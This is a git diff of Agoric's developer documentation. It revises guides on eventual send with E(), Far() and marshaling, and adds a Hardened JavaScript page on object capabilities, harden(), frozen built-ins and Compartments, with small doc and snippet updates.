+# eventual send with `E()`
+
+In web browsers, a common pattern of remote communication is using the
+[asynchronous fetch API with promises](
+https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous/Introducing#promises):
+
+<<< @/snippets/test-distributed-programming.js#asyncFetch
+
+In the Agoric platform, communicating with remote objects is similar,
+using the `E()` wrapper. For example,
+a [deploy script](/getting-started/deploying.md) may want to use the
+[Zoe Service API](/zoe/api/zoe.md) to install a contract on a blockchain.
+But the deploy script cannot call `zoe.install(bundle)`, because it does not have local
+access to the `zoe` object. However, the deploy
+script is given a `zoe` *remote presence*. To call methods on the
+actual Zoe object, the deploy script can do:
```js
-const installationHandle = await E(zoe).install(bundle);
+import { E } from '@agoric/eventual-send';
+
+E(zoe).install(bundle)
+ .then(installationHandle => { ... })
+ .catch(err => { ... });
```
-The `E()` function is a local "bridge" that lets you invoke methods on
-remote objects. The local version of a remote object is called a
-**presence**. `E()` takes a presence as an argument and creates an
-object that is a forwarder that doesn't know what methods the remote object has.
+## Eventual Send
+
+One of the ways [Zoe partitions risk](https://www.youtube.com/watch?v=T6h6TMuVHKQ&t=368s) is by running in its own vat, separate from any smart contract that might
+use too much compute time or heap space. The smart contracts also run in separate vats.
+
+![Zoe in a separate vat](../../assets/zoe-partitions-risk-slide.svg)
+
+What happens when we call `E(zoe).install(bundle)` is an _eventual send_:
+
+ 1. A message consisting of a the method name `install`
+ with the arguments structure `[bundle]` is [marshaled](/guides/js-programming/far.md)
+ to a flat string and queued for delivery to
+ the vat that `zoe` comes from.
+ 2. `E(zoe).install(bundle)` returns a promise for the result.
+ 3. The `then` and `catch` methods queue callbacks for when the promise
+ is resolved or rejected.
+ Execution continues until the stack is empty and thus this
+ turn through the event loop completes.
+ 4. _Eventually_ `zoe` responds, which results in a new message
+ in this vat's message queue and a new turn through the event loop.
+ The message is de-serialized and the results are passed to the relevant callback.
+
+This way, you can communicate with objects in separate vats
+as easily as objects in the same vat with one wrinkle: the communication
+must be _asynchronous_.
+
+The `E()` wrapper works with:
+
+ - remote presences (local proxies for objects in remote vats)
+ - local objects (in the same vat)
+ - promises for remote presences or local objects
+
+In all cases, `E(x).method(...args)` returns a promise.
+
+::: tip Promise Pipelining
+Since `E()` accepts promises, we can compose eventual sends:
+`E(E(object1).method1(...args1)).method2(...args2)`. This way
+we can take advantage of _promise pipelining_ so that a single
+round trip suffices for both method calls.
+:::
-This is useful to know for debugging. If you misspell or incorrectly capitalize the method name,
+::: tip Troubleshooting remote calls
+The `E()` function creates an
+forwarder that doesn't know what methods the remote object has.
+If you misspell or incorrectly capitalize the method name,
the local environment can't tell you've done so. You'll only find out at runtime when the
remote object complains that it doesn't know that method.
-`E()` performs the communication asynchronously. Method calls can take
-objects in the current vat or presences for objects in other vats as arguments.
+If an ordinary synchronous call (`obj.method()`) fails because the method doesn't exist,
+consider that `obj` may be remote and try `E(obj).method()`.
+:::
-`E()` is frequently used in code to call
-[Zoe Service API methods](/zoe/api/zoe.md).
+::: tip Watch: How Agoric Solves Reentrancy Hazards (Nov 2020)
+for more on eventual send and remote communication
+
+:::
diff --git a/main/guides/js-programming/far.md b/main/guides/js-programming/far.md
index 7606b02c3..a55d853df 100644
--- a/main/guides/js-programming/far.md
+++ b/main/guides/js-programming/far.md
@@ -1,46 +1,77 @@
-# `Far()` and Remotable Objects
+# `Far()`, Remotable, and Marshaling
-## Remotable and passable objects
+To export objects such as from our [counter example](./hardened-js.md#counter-example)
+to make them available to other vats, mark them as _remotable_ using [Far](#far-api):
-In Agoric smart contracts and dapps, you can call methods on objects from other vats or machines.
-For example, a purse for an ERTP issuer actually lives in the issuer's vat. But code in your off-chain
-wallet or another contract can still use that purse.
+<<< @/snippets/test-distributed-programming.js#importFar
+<<< @/snippets/test-distributed-programming.js#makeFarCounter
-This is possible because Agoric encapsulates inter-machine and inter-vat communication. At
-the smart contract or dapp level, objects from other vats or machines can almost be treated
-as if they are local.
+## Marshaling by Copy or by Presence
-To call a method on an object from another vat or machine, you must
-use [`E()`](./eventual-send.md#remote-object-communication-with-e). For example, getting
-an `Issuer`'s `brand` would look like `E(issuer).getBrand()`.
+Recall that the first step in an [eventual send](./eventual-send.md#eventual-send) is
+to _marshal_ the method name and structured arguments; that is: to make them into a single string.
+This is like [JSON.stringify](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) but it can handle values such as `undefined` and `BigInt`s.
+Also, while many forms of data are copied between vats,
+remotables are marshalled so that they become remote _presences_ when unmarshaled:
-Objects intended to be used from other vats are called *remotables*. Remote messages sent to
-remotables must only contain *passable* arguments and return *passable* results.
-Passables includes all things that can be passed as arguments in messages.
+![counter remote presence](../../assets/remote-presence-fig.svg)
+Then another vat can make and use the exported counters:
+
+<<< @/snippets/test-distributed-programming.js#useFarCounter
+
+## Pass Styles and `harden`
+
+Calls to remote presences must only contain *passable* arguments and return *passable* results.
There are three kinds of passables:
- * Remotables, objects with methods that can be called remotely using `E()`.
- * Pass-by-copy data, such as numbers or hardened records
- * Promises for passables.
+ * Remotables: objects with methods that can be called using `E()` eventual send notation
+ * Pass-by-copy data, such as numbers or hardened structures
+ * Promises for passables
-In particular, note that every object returned from a smart contract, such a `publicFacet` or
+Every object exported from a smart contract, such a `publicFacet` or
`creatorFacet`, must be passable. All objects used in your contract's external API must
-be passable.
+be passable. All passables must be hardened.
+
+Consider what might happen if we had a remote `item` and we did not harden
+some pass-by-copy data that we passed to it:
+
+```js
+let amount1 = { brand: brand1, value: 10n };
+await E(item).setPrice(amount1); // Throws, but let's imagine it doesn't.
+amount1.value = 20n;
+```
+
+Now `amount1` is supposedly both in the local and the remote vat, but the `value`
+is `20n` in the local vat but `10n` in the remote vat. (Worse: the remote vat
+might be the same as the local vat.) Requiring `harden()` for pass-by-copy
+data leads to behavior across vats that is straightforward to reason about.
+
+### `passStyleOf` API
+
+`passStyleOf(passable)`
+ - `passable` `{Passable}`
+ - Returns: `{PassStyle}`
-### Rules for creating remotables
-- All property values must be functions.
- - They cannot be accessors.
-- You must wrap the object with `Far()`.
-**Note**: ERTP objects, such as `Purses`, are automatically created as `Remotable`, as are
-`UserSeats` and `ZCFSeats`.
+A Passable is a value that may be marshalled. It is classified as one of
+PassStyle. A Passable must be hardened.
-### Using remotables
-- Call a remotable's method by first wrapping the remotable object with `E`, such as `E(issuer).getBrand();`
-- Handle the resulting promise. Calling `E()` always results in a `Promise`.
+The `PassStyle`s are:
+ * the atomic pass-by-copy primitives (`"undefined" | "null" |
+ "boolean" | "number" | "bigint" | "string" | "symbol"`),
+ * the pass-by-copy containers (`"copyArray" | "copyRecord"`) that
+ contain other Passables,
+ * and the special cases (`"error" | "promise"`), which
+ also contain other Passables.
+ * so-called `PassableCap` leafs (`"remotable" | "promise"`).
-## Using `Far()`
+::: tip Check `passStyleOf` when handling untrusted structured data
+Just as you would use `typeof` to check that an argument is
+a string or number, use `passStyleOf` to when you expect, say, a `copyRecord`;
+this prevents malicious clients from playing tricks with cyclic data etc.
+:::
+## `Far()` API
`Far(farName, object-with-methods)`
- `farName` `{ String }`
@@ -51,43 +82,16 @@ The `farName` parameter gives the `Remotable` an *interface name* for debugging
up when logged through the `console`, for example with `console.log`.
The `object-with-methods` parameter should be an object whose properties are the functions serving
-as the object's methods. See the example code below.
+as the object's methods.
The `Far()` function marks an object as remotable. `Far()` also:
- Hardens the object.
- - Both `harden()` and `Far()` function harden the object.
- - Only hardened objects are passable.
-- Checks for the property and value requirements above.
- If they are not met, it throws an error.
-- Records the object's interface name.
-
-You should call `Far()` on an object if it both:
-- Will be sent out of its native vat.
- - If it might ever appear as the `foo` in [`E(foo).method(args)`](./eventual-send.md),
- you should run `Far()` on it after creating it.
-- Has methods called on it, as opposed to just effectively storing data.
-
-Only passables can be passed as arguments or returned as results,
-and they must be hardened. If the passable is a remotable, it must be hardened with `Far()`.
-Otherwise, it must be hardened with [`harden()`](./ses/ses-guide.md#harden).
-
-An error
-is thrown if you call `Far()` on a record, instead of an object, which doesn't have function
-values. However, if object `foo` should never be exposed to other vats, you should make it
-a point **not** to use `Far()` on it. If `foo` is not marked as a remotable but is accidentally
-exposed, an error is thrown. This prevents any vulnerability from such accidental exposure.
-
-```js
-import { Far } from '@agoric/marshal';
-let counter;
-const countRemotable = Far('counter', {
- increment() { counter++; },
- decrement() { counter--; },
- read() { return counter; },
-});
-```
-
-
-
-
+- Checks that all property values are be functions and throws otherwise.
+ - accessors (`get()` and `set()`) are not allowed.
+- Records the object's interface name.
+::: tip Avoid accidental exports
+If an object should never be exposed to other vats, you should make it
+a point **not** to use `Far()` on it. If an object is not marked as a remotable but is accidentally
+exposed, an error is thrown. This prevents any vulnerability from such accidental exposure.
+:::
diff --git a/main/guides/js-programming/hardened-js.md b/main/guides/js-programming/hardened-js.md
new file mode 100644
index 000000000..4b81155fb
--- /dev/null
+++ b/main/guides/js-programming/hardened-js.md
@@ -0,0 +1,387 @@
+# Hardened JavaScript
+
+::: tip Watch: Object-capability Programming in Secure Javascript (Aug 2019)
+
+_The first 15 minutes cover much of the material below.
+The last 10 minutes are Q&A._
+
+
+:::
+
+
+## Counter Example
+
+In case you thought JavaScript cannot be used to write
+reliable, secure smart contracts, we begin with this
+counter example. :)
+
+<<< @/snippets/test-hardened-js.js#makeCounter
+
+We'll unpack this a bit [below](#objects-and-the-maker-pattern), but for now,
+note the use of functions and records:
+
+ - `makeCounter` is a function
+ - Each call to `makeCounter` creates a new "instance":
+ - a new record with two properties, `incr` and `decr`, and
+ - a new `count` variable.
+ - The `incr` and `decr` properties are visible from
+ outside the object.
+ - The the `count` variable is encapsulated; only the
+ `incr` and `decr` methods can access it.
+ - Each of these instances is isolated from each other
+
+## Counter: Separation of Duties
+
+Suppose we want to keep track of the number of people
+inside a room by having an `entryGuard` count up when
+people enter the room and an `exitGuard` count down
+when people exit the room.
+
+We can give the `entryGuard` access to the `incr` function
+and give the `exitGuard` access to the `decr` function.
+
+<<< @/snippets/test-hardened-js.js#entryExit
+
+The result is that the `entryGuard` can _only_ count up
+and the `exitGuard` can _only_ count down.
+
+::: tip Eventual send syntax
+The `entryGuard ! use(counter.incr);` code in the video
+uses a proposed syntax for [eventual send](./eventual-send.md),
+which we will get to soon.
+:::
+
+## Object-capabilities (ocaps)
+
+The separation of duties illustrates the core idea
+of _object capabilities_: an object reference familiar
+from object programming _is_ a permission.
+
+In this figure, Alice says: `bob.greet(carol)`
+![alice calls bob.greet(carol)](../../assets/Introduction.svg)
+
+If object Bob has no reference to object Carol,
+then Bob cannot invoke Carol; it cannot
+provoke whatever behavior Carol would have.
+
+If Alice has a reference Bob and invokes Bob,
+passing Carol as an argument, then Alice has both
+used her permission to invoke Bob _and_ given Bob
+permission to invoke Carol.
+
+We refer to these object references as _object-capabilities_ or _ocaps_.
+
+## The Principle of Least Authority (POLA)
+
+OCaps give us a natural way to express the
+[principle of least authority](https://en.wikipedia.org/wiki/Principle_of_least_privilege), where each object
+is only given the permission it needs to do its legitimate job,
+such as only giving the `entryGuard` the ability to increment the counter.
+
+This limits the damage that can happen if there is an exploitable bug.
+
+::: tip Watch: Navigating the Attack Surface
+to achieve a *multiplicative* reduction in risk. _15 min_
+
+
+:::
+
+## Tool Support: eslint config
+
+::: tip eslint configuration for Jessie
+The examples in this section are written using _Jessie_, our
+recommended style for writing JavaScript smart contracts.
+This `eslint` configuration provides tool support.
+:::
+
+1. If not already configured, run `yarn add eslint @jessie.js/eslint-plugin`
+2. If not already configured, add the following to your `package.json`:
+
+```json
+ "eslintConfig": {
+ "extends": [
+ "@jessie.js"
+ ]
+ }
+```
+
+3. Put `// @jessie-check` at the beginning of your `.js` source file.
+4. Run `yarn eslint --fix path/to/your-source.js`
+5. Follow the linter's advice to edit your file, then go back to step 4.
+
+The details of Jessie have evolved with experience; as a result, here
+we use `(count += 1)` where in the video shows `{ return count++; }`.
+
+## Objects and the _maker_ pattern
+
+Let's unpack the `makeCounter` example a bit.
+
+JavaScript is somewhat novel in that objects need not belong to any
+class; they can just stand on their own:
+
+<<< @/snippets/test-hardened-js.js#singleton
+
+We can make a new such object each time a function is called
+using the _maker pattern_:
+
+<<< @/snippets/test-hardened-js.js#maker
+
+::: tip Use lexically scoped variables rather than properties of this.
+The style above avoids boilerplate such as `this.x = x; this.y = y`.
+:::
+
+::: tip Use arrow functions
+We recommend [arrow function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+syntax rather than `function makePoint(x, y) { ... }` declarations
+for conciseness and to avoid `this`.
+:::
+
+## Defensive objects with `harden()`
+
+By default, anyone can clobber the properties of
+our objects so that they fail to conform to the expected API:
+
+<<< @/snippets/test-hardened-js.js#clobber
+
+Worse yet is to clobber a property so that it misbehaves but
+covers its tracks so that we don't notice:
+
+<<< @/snippets/test-hardened-js.js#exploit
+
+Our goal is **defensive correctness**: a program is _defensively correct_ if it remains correct despite arbitrary behavior on the part of its clients. _For further discussion, see [Concurrency Among Strangers](http://erights.org/talks/promises/paper/tgc05.pdf) and other [Agoric papers on Robust Composition](https://papers.agoric.com/papers/#robust-composition)_.
+
+To prevent tampering, use [harden](https://github.com/endojs/endo/blob/master/packages/ses/README.md#harden), which is a deep form of [Object.freeze](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze).
+
+<<< @/snippets/test-hardened-js.js#defensiveMaker
+
+Any attempt to modify the properties of a hardened object throws:
+
+<<< @/snippets/test-hardened-js.js#thwarted
+
+`harden()` should be called on all objects that will be transferred
+across a trust boundary. It's important to `harden()` an object before exposing the object by returning it or passing it to some other function.
+
+::: tip harden(), classes, and details
+Note that hardening a class instance also hardens the class.
+For more details, see [harden API in the `ses` package](https://github.com/endojs/endo/blob/master/packages/ses/README.md#harden)
+:::
+## Objects with state
+
+Now let's review the `makeCounter` example:
+
+<<< @/snippets/test-hardened-js.js#counterAnimation
+
+Each call to `makeCounter` creates a new encapsulated `count` variable
+along with `incr` and `decr` functions. The `incr` and `decr` functions
+access the `count` variable from their lexical scope as usual
+in [JavaScript closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures).
+
+To see how this works in detail, you may want to step through this
+[visualization of the code](https://pythontutor.com/live.html#code=const%20makeCounter%20%3D%20%28%29%20%3D%3E%20%7B%0A%20%20let%20count%20%3D%200%3B%0A%20%20const%20it%20%3D%20%7B%0A%20%20%20%20incr%3A%20%28%29%20%3D%3E%20%28count%20%2B%3D%201%29,%0A%20%20%20%20decr%3A%20%28%29%20%3D%3E%20%28count%20-%3D%201%29,%0A%20%20%7D%3B%0A%20%20return%20Object.freeze%28it%29%3B%0A%7D%3B%0A%0Aconst%20c1%20%3D%20makeCounter%28%29%3B%0A%0Aconst%20c2%20%3D%20makeCounter%28%29%3B%0Aconsole.log%28c2.incr%28%29%29%3B%0Aconsole.log%28%5Bc1.incr%28%29,%20c2.incr%28%29%5D%29%3B&cumulative=false&curInstr=0&heapPrimitives=nevernest&mode=display&origin=opt-live.js&py=js&rawInputLstJSON=%5B%5D&textReferences=):
+
+[![makeCounter code animation](../../assets/counter-animation.png)](https://pythontutor.com/live.html#code=const%20makeCounter%20%3D%20%28%29%20%3D%3E%20%7B%0A%20%20let%20count%20%3D%200%3B%0A%20%20const%20it%20%3D%20%7B%0A%20%20%20%20incr%3A%20%28%29%20%3D%3E%20%28count%20%2B%3D%201%29,%0A%20%20%20%20decr%3A%20%28%29%20%3D%3E%20%28count%20-%3D%201%29,%0A%20%20%7D%3B%0A%20%20return%20Object.freeze%28it%29%3B%0A%7D%3B%0A%0Aconst%20c1%20%3D%20makeCounter%28%29%3B%0A%0Aconst%20c2%20%3D%20makeCounter%28%29%3B%0Aconsole.log%28c2.incr%28%29%29%3B%0Aconsole.log%28%5Bc1.incr%28%29,%20c2.incr%28%29%5D%29%3B&cumulative=false&curInstr=0&heapPrimitives=nevernest&mode=display&origin=opt-live.js&py=js&rawInputLstJSON=%5B%5D&textReferences=)
+
+## Hardening JavaScript: strict mode
+
+The first step to hardening JavaScript is that Hardened JavaScript
+is always in [strict mode](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode).
+
+[![Subsetting JavaScript](https://raw.githubusercontent.com/endojs/Jessie/main/docs/jessie.png)](https://github.com/endojs/Jessie#subsetting-ecmascript)
+
+One way that you would notice this is if you
+accidentally assign to a frozen property: this will throw a `TypeError`
+rather than silently failing.
+
+Important benefits of strict mode include complete encapsulation
+(no `caller` etc.) and reliable static scoping.
+
+## Hardening JavaScript: frozen built-ins
+
+One form of authority that is too widely available in
+ordinary JavaScript is the ability to redefine built-ins
+(shown above as "mutable primordials").
+Consider this `changePassword` function:
+
+<<< @/snippets/test-no-ses.js#changePassword
+
+In ordinary JavaScript, since someone might have redefined
+the `includes` method on `Array` objects, we run the risk of stolen passwords:
+
+<<< @/snippets/test-no-ses.js#exfiltrate
+
+In Hardened JavaScript, the `Object.assign` fails because `Array.prototype` and all other
+[standard, built-in objects](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects)
+are immutable.
+
+::: tip Compatibility issues with `ses` / Hardened JavaScript
+Certain libraries that make tweaks to the standard built-ins
+may fail in Hardened JavaScript.
+
+The [SES wiki](https://github.com/endojs/endo/wiki) tracks compatibility
+reports for NPM packages, including potential workarounds.
+:::
+## Hardening JavaScript: Limiting Globals with Compartments
+
+A globally available function such as `fetch` means that every object,
+including a simple string manipulation function, can access the network.
+In order to eliminate this sort of excess authority, _Object-capabity discipline_
+calls for limiting globals to immutable data and deterministic functions
+(eliminating "ambient authority" in the diagram above).
+
+Hardened JavaScript includes a `Compartment` API for enforcing OCap discipline.
+Only the [standard, built-in objects](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects)
+such as `Object`, `Array`, and `Promise` are globally available by default
+(with an option for carefully controlled exceptions such as `console.log`).
+With the default `Compartment` options, the non-deterministic `Math.random`
+is not available and `Date.now()` always returns `NaN`.
+
+Almost all existing JS code was written to run under Node.js or inside a browser,
+so it's easy to conflate the environment features with JavaScript itself. For
+example, you may be surprised that `Buffer` and `require` are Node.js
+additions and not part of JavaScript.
+
+The conventional globals defined by browser or node.js hosts are
+not available by default in a `Compartment`, whether authority-bearing
+or not:
+
+ - authority-bearing:
+ - `window`, `document`, `process`, `console`
+ - `setImmediate`, `clearImmediate`, `setTimeout`
+ - but `Promise` is available, so sometimes
+ `Promise.resolve().then(_ => fn())` suffices
+ - see also [Timer Service](/repl/timerServices.md)
+ - `require` (Use `import` module syntax instead.)
+ - `localStorage`
+ - [SwingSet](/platform/#swingset) orthogonal persistence means state lives indefinitely in ordinary variables and data structures and need not be explicitly written to storage.
+ - For high cardinality data, see the `@agoric/store` package.
+ - `global` (Use `globalThis` instead.)
+ - authority-free but host-defined:
+ - `Buffer`
+ - `URL` and `URLSearchParams`
+ - `TextEncoder`, `TextDecoder`
+ - `WebAssembly`
+
+In compartments used to load Agoric smart contracts,
+`globalThis` is hardened, following OCap discipline.
+These compartments have `console` and `assert` globals from [SES](./ses/).
+Don't rely on `console.log` for printing, though; it is for debugging
+only, and in a blockchain consensus context, it may do nothing at all.
+
+You can create a new `Compartment` object; when you do, you can
+decide whether to enforce OCap discipline by calling
+`harden(compartment.globalThis)` or not. If not, beware that
+all objects in the compartment have authority to communicate with
+all other objects via properties of `globalThis`.
+
+## Types: advisory
+
+[Type checking JavaScript files with TypeScript](https://www.typescriptlang.org/docs/handbook/type-checking-javascript-files.html)
+can help prevent certain classes of coding errors. We recommend this style rather than
+writing in TypeScript syntax to remind ourselves that the type annotations really
+are only for lint tools and do not have any effect at runtime:
+
+```js
+// @ts-check
+
+/** @param {number} init */
+const makeCounter = init => {
+ let value = init;
+ return {
+ incr: () => {
+ value += 1;
+ return value;
+ },
+ };
+};
+```
+
+If we're not careful, our clients can cause us to mis-behave:
+
+```
+> const evil = makeCounter('poison')
+> evil2.incr()
+'poison1'
+```
+
+or worse:
+
+```
+> const evil2 = makeCounter({ valueOf: () => { console.log('launch the missiles!'); return 1; } });
+> evil2.incr()
+launch the missiles!
+2
+```
+
+## Types: defensive
+
+To be defensively correct, we need runtime validation for any inputs that cross trust boundaries:
+
+```js
+import Nat from `@agoric/nat`;
+
+/** @param {number | bignum} init */
+const makeCounter = init => {
+ let value = Nat(init);
+ return harden({
+ increment: () => {
+ value += 1n;
+ return value;
+ },
+ });
+};
+```
+
+```
+> makeCounter('poison')
+Uncaught TypeError: poison is a string but must be a bigint or a number
+```
+
+## From OCaps to Electronic Rights: Mint and Purse
+
+The Hardened JavaScript techniques above are powerful enough
+to express the core of ERTP and its security properties in just 30 lines.
+Careful study of this 8 minute presentation segment provides
+a firm foundation for writing smart contracts with Zoe.
+
+::: tip Watch: The Mint Pattern
+8 minutes [starting at 25:00](https://youtube.com/watch?v=iyuo0ymTt4g&t=1525&list=PLzDw4TTug5O1oHRbp2HkcvKABAY9FKsmG),
+in [Higher-order Smart Contracts across Chains](https://www.youtube.com/watch?v=iyuo0ymTt4g&list=PLzDw4TTug5O1oHRbp2HkcvKABAY9FKsmG)
+
+[![image](https://user-images.githubusercontent.com/150986/129462162-4599c0f4-8519-4a04-a707-88ef6e6044d7.png)
+](https://youtube.com/watch?v=iyuo0ymTt4g&t=1525&list=PLzDw4TTug5O1oHRbp2HkcvKABAY9FKsmG)
+:::
+
+
+```js
+const makeMint = () => {
+ const ledger = makeWeakMap();
+
+ const issuer = harden({
+ makeEmptyPurse: () => mint.makePurse(0),
+ });
+
+ const mint = harden({
+ makePurse: initialBalance => {
+ const purse = harden({
+ getIssuer: () => issuer,
+ getBalance: () => ledger.get(purse),
+
+ deposit: (amount, src) => {
+ Nat(ledger.get(purse) + Nat(amount));
+ ledger.set(src, Nat(ledger.get(src) - amount));
+ ledger.set(purse, ledger.get(purse) + amount);
+ },
+ withdraw: amount => {
+ const newPurse = issuer.makeEmptyPurse();
+ newPurse.deposit(amount, purse);
+ return newPurse;
+ },
+ });
+ ledger.set(purse, initialBalance);
+ return purse;
+ },
+ });
+
+ return mint;
+};
+```
diff --git a/main/guides/js-programming/vats.md b/main/guides/js-programming/vats.md
deleted file mode 100644
index daf7002d1..000000000
--- a/main/guides/js-programming/vats.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# Vats
-
-A vat is a *unit of isolation*. To paraphrase the Las Vegas advertising slogan, what happens in the vat stays in the vat. Objects and functions in a JavaScript vat can communicate synchronously with one another. Vats and their contents can communicate with other vats and their objects and functions, but have to
-[manage asynchronous messages and responses](/guides/js-programming/eventual-send.md).
-
-There are no tools for telling what vat something is in, or if two things are in the same or different vats. In general, you/your code should know if things are local (in the same vat) because you created them or they were passed to you by something guaranteeing that’s the case. Other objects you should treat as if they might be distant (in different vats). In practice, you will know that your normal method calls (`obj.method()`) fails because the method doesn't exist and that's usually when you slap your forehead and go "Of course, it's remote! I needed to call `E(obj).method()`.
-
-Vats need to run on some platform. Both a single physical machine and a blockchain (which might itself be running on a set of collaborating machines) are possible platforms. Either type of platform can host one or more vats.
-
-Since a vat runs in a single *event loop*, each incoming request has to finish before the next one starts. If there's remaining work, you schedule it to happen later after a Promise resolves.
-
-The Agoric process starts several vats. Each vat hosts a service (e.g. the Board, Zoe,
-etc.). As of March, 2021, all contracts each run in a new vat with their own version of the
-Zoe Contract Facet. There is one vat that contains the Zoe Service.
diff --git a/main/platform/README.md b/main/platform/README.md
index 6cef9c43b..a51556328 100644
--- a/main/platform/README.md
+++ b/main/platform/README.md
@@ -17,13 +17,11 @@ it's very important to ensure that one user cannot prevent another
user's code from executing and that the way in which code is
interleaved doesn't open up hazards such as reentrancy. SwingSet
solves that problem by dividing up the execution environment into
-*vats*. A [vat](/guides/js-programming/vats.md) is a *unit
+*vats*. A [vat](/guides/js-programming/#vats-the-unit-of-synchrony) is a *unit
of synchrony*. This means that within a JavaScript vat, objects and
functions can communicate with one another synchronously. Between
vats, objects and functions communicate asynchronously, by design.
-A vat runs a single *event loop*.
-
A physical machine can run one or several vats. A blockchain can run
one or several communicating vats.
@@ -37,6 +35,8 @@ a part of the state that is intended to serve as an outbox. On a
non-blockchain machine, this might mean sending a message to a remote
machine.
+SwingSet provides [*orthogonal persistence*](https://en.wikipedia.org/wiki/Persistence_(computer_science)#Orthogonal_or_transparent_persistence).
+
## Cosmos SDK
Our testnet has a single SwingSet instance with multiple vats running
diff --git a/main/zoe/api/zoe.md b/main/zoe/api/zoe.md
index ba33d5f04..056f22fad 100644
--- a/main/zoe/api/zoe.md
+++ b/main/zoe/api/zoe.md
@@ -287,6 +287,11 @@ const { creatorFacet, publicFacet, creatorInvitation } = await E(zoe).startInsta
Used to make an offer to the contract that created the `invitation` that is
provided as the first argument.
+::: tip Vat per Contract
+All contracts each run in a new vat with their own version of the
+Zoe Contract Facet. There is one vat that contains the Zoe Service.
+:::
+
### Proposals and payments
The invocation normally includes a `proposal` (the
@@ -418,8 +423,8 @@ and an operation to request that the offer exit, as follows:
- Returns: `{ Promise }`
- You use a `notifier` wherever some piece of code has changing state that other
code wants updates on. The updates can be anything the contract wants to publish.
- For example, you could notify about price changes, new currency pools, etc. For
- more about `notifiers`, see our [JavaScript Programming Guide](/guides/js-programming/notifiers.md)
+ For example, you could notify about price changes, new currency pools, etc. See also
+ [Notifiers and Subscriptions](/guides/js-programming/notifiers.md)
### `E(UserSeat).hasExited()`
- Returns: `{ Promise }`
- Returns `true` if the seat has exited, `false` if it is still active.
diff --git a/main/zoe/guide/contract-requirements.md b/main/zoe/guide/contract-requirements.md
index f92999f42..16cf29073 100644
--- a/main/zoe/guide/contract-requirements.md
+++ b/main/zoe/guide/contract-requirements.md
@@ -128,3 +128,48 @@ between multiple offers, or create new assets to order.
To create an invitation in the contract, use the Zoe Contract
Facet method [`zcf.makeInvitation`](/zoe/api/zoe-contract-facet.md#zcf-makeinvitation-offerhandler-description-customproperties).
+
+
+## Using `bundleSource`
+
+Modules start as files on disk, but then are bundled together
+into an archive before being loaded into a vat. The bundling tool uses several standard
+functions to locate other modules that must be included. These are not a part of SES, but
+are allowed in module source code, and are translated or removed before execution.
+
+- `import` and `export` syntax are allowed in ESM-style modules (preferred over CommonJS).
+ These are not globals as such, but top-level syntax that defines the module graph.
+- `require`, `module`, `module.exports`, and `exports` are allowed in CommonJS-style modules,
+ and should work as expected. However, new code should be written as ESM modules. They
+ are either consumed by the bundling process, provided (in some form) by the execution
+ environment, or otherwise rewritten to work sensibly
+- `__dirname` and `__filename` are not provided
+- The dynamic import expression (`await import('name')`) is currently prohibited in vat
+ code, but a future SES implementation may allow it.
+
+The [Node.js API](https://nodejs.org/dist/latest-v14.x/docs/api/) includes "built-in
+modules", such as `http` and `crypto`. Some are clearly platform-specific (e.g. `v8`), while
+others are not so obvious (`stream`). All are accessed by importing a
+module (`const v8 = require('v8')` in CommonJS modules, or `import v8 from 'v8'` in ESM modules).
+These modules are built out of native code (C++), not plain JS.
+
+None of these built-in modules are available to vat code. `require` or `import` can be used
+on pure JS modules, but not on modules including native code. For a vat to exercise authority
+from a built-in module, you have to write a *device* with an endowment with the built-in
+module's functions, then have the vat send messages to the device.
+
+## Library compatibility
+
+Vat code can use `import` or `require()` to import other libraries consisting
+only of JS code, which are compatible with the SES environment. This includes
+a significant portion of the NPM registry.
+
+However, many NPM packages use built-in Node.js modules. If used at import
+time (in their top-level code), vat code cannot use the package and fails
+to load at all. If they use the built-in features at runtime, then the
+package can load. However, it might fail later when a function is invoked
+that accesses the missing functionality. So some NPM packages are partially
+compatible; you can use them if you don't invoke certain features.
+
+The same is true for NPM packages that use missing globals, or attempt to
+modify frozen primordials.
diff --git a/package.json b/package.json
index 28a035f73..56494c8d6 100644
--- a/package.json
+++ b/package.json
@@ -11,6 +11,8 @@
"scripts": {
"docs:dev": "vuepress dev main",
"docs:build": "vuepress build main",
+ "docs:build-root": "yarn docs:build && yarn docs:re-root",
+ "docs:re-root": "cd main && mkdir -p .vuepress/dist-root/ && cp -rp .vuepress/dist/ .vuepress/dist-root/documentation/",
"check-links": "vuepress check-md main",
"test": "ava",
"lint-fix": "yarn lint --fix",
diff --git a/snippets/ertp/guide/test-amount-math.js b/snippets/ertp/guide/test-amount-math.js
index b28bd1117..56bd2e774 100644
--- a/snippets/ertp/guide/test-amount-math.js
+++ b/snippets/ertp/guide/test-amount-math.js
@@ -166,7 +166,7 @@ test('ertp guide zcf.getAssetKind related', async t => {
t.truthy(mint);
t.truthy(brand);
const quatloosBrand = brand;
- // #region zcfGetKind
+ // #region zcfGetAssetKind
const quatloosAssetKind = zcf.getAssetKind(quatloosBrand);
// #endregion zcfGetAssetKind
t.is(quatloosAssetKind, 'nat');
diff --git a/snippets/test-distributed-programming.js b/snippets/test-distributed-programming.js
index d5b6856f4..8757cd9fc 100644
--- a/snippets/test-distributed-programming.js
+++ b/snippets/test-distributed-programming.js
@@ -1,11 +1,57 @@
+// @ts-check
import { test } from '@agoric/zoe/tools/prepare-test-env-ava.js';
import { E } from '@agoric/eventual-send';
+// #region importFar
+import { Far, passStyleOf } from '@agoric/marshal';
+// #endregion importFar
// #region importNotifier
import { makeNotifierKit } from '@agoric/notifier';
// #endregion importNotifier
+test('remote counter', async t => {
+ const assert = cond => t.true(cond);
+
+ // #region makeFarCounter
+ const makeCounter = () => {
+ let count = 0;
+ return Far('counter', {
+ incr: () => (count += 1),
+ decr: () => (count -= 1),
+ });
+ };
+
+ const publicFacet = Far('makeCounter', { makeCounter });
+ assert(passStyleOf(publicFacet) === 'remotable');
+ // #endregion makeFarCounter
+
+ // #region useFarCounter
+ const counter = E(publicFacet).makeCounter();
+ const n = await E(counter).incr();
+ assert(n === 1);
+ // #endregion useFarCounter
+});
+
